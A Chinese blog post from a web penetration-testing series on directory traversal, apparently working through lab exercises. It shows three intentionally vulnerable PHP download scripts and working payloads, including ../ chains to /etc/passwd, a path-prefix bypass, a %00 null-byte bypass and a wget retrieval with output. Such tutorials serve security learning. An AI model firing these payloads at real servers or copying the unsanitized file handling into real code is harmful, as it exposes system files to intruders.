web渗透测试(9):目录遍历

目录遍历来自缺乏对应用程序作为路径一部分的信息的过滤/编码。

 

与其他漏洞一样,您可以使用“相同值的技术”来测试此类问题。例如,如果应用程序在参数内使用的路径是/images/photo.jpg。您可以尝试访问:

  • /images/./photo.jpg:你应该看到同一个文件。
  • /images/../photo.jpg:你应该得到一个错误。
  • /images/../images/photo.jpg:你应该再次看到同一个文件。
  • /images/../IMAGES/photo.jpg:你应该得到一个错误(取决于文件系统)或奇怪的事情。

 

如果您没有值images并且合法路径看起来像photo.jpg,则需要确定父存储库的内容。

 

测试完成后,您可以尝试检索其他文件。在Linux / Unix上,最常见的测试用例是/etc/passwd。您可以测试:images/../../../../../../../../../../../etc/passwd,如果您获得该passwd文件,则该应用程序易受攻击。好消息是你不需要知道它的数量../。如果你放太多,它仍然可以工作。

 

另一个有趣的事情是,如果在Windows中有目录遍历test/../../../file.txt,即使该目录test不存在,您也可以访问。在Linux上情况并非如此。在代码连接用户控制的数据以创建文件名的情况下,这非常有用。

例如,以下PHP代码应该添加参数id以获取文件名(example_1.txt例如)。在Linux上,如果没有目录example_,则无法利用此漏洞,而在Windows上,即使没有此类目录,您也可以利用它。

 
 $file = "/var/files/example_".$_GET['id'].".txt";

 

 

在这些练习中,漏洞由<img标记内部使用的脚本说明。您需要阅读HTML源代码(或使用“复制图像URL”)来查找正确的链接,并开始利用该问题。

 

Example 1

<?php 

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file;

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();


?>

 

第一个例子是一个非常简单的目录遍历。您只需要进入文件系统,然后返回,即可获得所需的任何文件。在这种情况下,您将受到文件系统权限的限制,例如,将无法访问/etc/shadow。

 

在此示例中,根据服务器发送的标头,您的浏览器将显示响应的内容。有时,服务器将使用标头发送响应Content-Disposition: attachment,并且您的浏览器不会直接显示该文件。您可以打开文件以查看内容。每种测试都需要一些时间。

 

使用windows系统,可以直接用浏览器访问:

192.168.1.11/dirtrav/example1.php?file=../../../../../../../etc/passwd

 

 

使用Linux / Unix系统,您可以通过以下方式更快地完成此操作wget:

% wget -O - 'http://192.168.40.130/dirtrav/example1.php?file=../../../../../../../etc/passwd'
[...]
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[...]

 

Example 2

<?php 


if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

if (!(strstr($file,"/var/www/files/")))
    die();

if (!is_file($file))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($file) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($file));

$handle = fopen($file, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();


?>

 

在此示例中,您可以看到完整路径用于访问文件。但是,如果你试图用它替换它/etc/passwd,你将得不到任何东西。它看起来像是由PHP代码执行的简单检查。但是,您可以通过保留路径的开头并在末尾添加有效负载来绕过它,以便在文件系统中上下移动。例如:

http://192.168.1.11/dirtrav/example2.php?file=/var/www/files/../../../../../../../etc/passwd

 

 

 

Example 3

<?php 
$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
	die();


$file = $_GET['file'];

$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);

if (!is_file($path))
	die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

?>

 

当您利用目录遍历时,此示例基于一个常见问题:服务器端代码将自己的后缀添加到您的有效负载。通过使用NULL BYTE:空字节(您需要对其进行URL编码%00),可以轻松绕过此问题。使用NULL BYTE去除服务器端代码添加的任何后缀是一种常见的绕开方法,并且在Perl和旧版本的PHP中运行良好。例如:

http://192.168.1.11/dirtrav/example3.php?file=/../../../../../../../etc/passwd%00

 

 
posted @ 2023-08-02 15:43  珊瑚贝博客  阅读(222)  评论(0编辑  收藏  举报